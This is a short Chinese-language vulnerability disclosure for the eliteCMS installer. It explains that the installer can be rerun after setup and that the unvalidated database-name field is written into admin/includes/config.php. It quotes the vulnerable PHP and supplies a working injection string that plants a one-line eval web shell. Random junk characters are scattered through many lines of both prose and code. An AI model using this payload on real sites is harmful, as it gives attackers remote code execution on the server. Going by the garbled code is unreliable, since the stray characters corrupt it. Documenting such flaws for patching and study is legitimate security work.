eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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9 H! F" ~+ ]: c# c) h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
9 t+ M' {7 u$ Y9 G我们来看代码：

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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
; t( {% I5 Y2 N, j8 j...略...
    $write .= "*\n";
: i9 M4 N0 _" R! u, j& t    $write .= "*/\n";
- @3 Z9 h# B1 s9 B    $write .= "\n";
: T  s! f& r7 D# m- T) Q- A& [    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
9 X; {! X$ v6 t/ ?: a    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 _2 J0 R! ^7 c( G% p# I' `2 o    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
" u. Z9 O% `9 E! U" l5 x. v# ]    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 g- t% L" ~% k    $write .= "        \n";
0 Z! p7 f+ d2 P, J    $write .= "} \n";
) z2 \" V7 S6 a6 t; _4 d) Q) z    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
( C: Z8 Y5 y' p  G( }; }  d( H    $write .= "?>\n";
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1 D$ s2 v2 I% N$ M2 N0 a' A3 a( ~    $writer = fopen($file, 'w');
+ S! _  b7 X4 Y% ^! t% x...

在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
& f% R1 j, p1 a9 u/ ~9 o1 q" c) |$_SESSION['DB_USER'] = $_POST['DB_USER'];
6 R- ?" |. U" S5 J$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：
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9 l& K( ?# r  w: G) o& ]"?><?php eval($_POST[c]);?><?php
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4 J/ w7 c2 e5 r9 l将导致一句话后门写入/admin/includes/config.php
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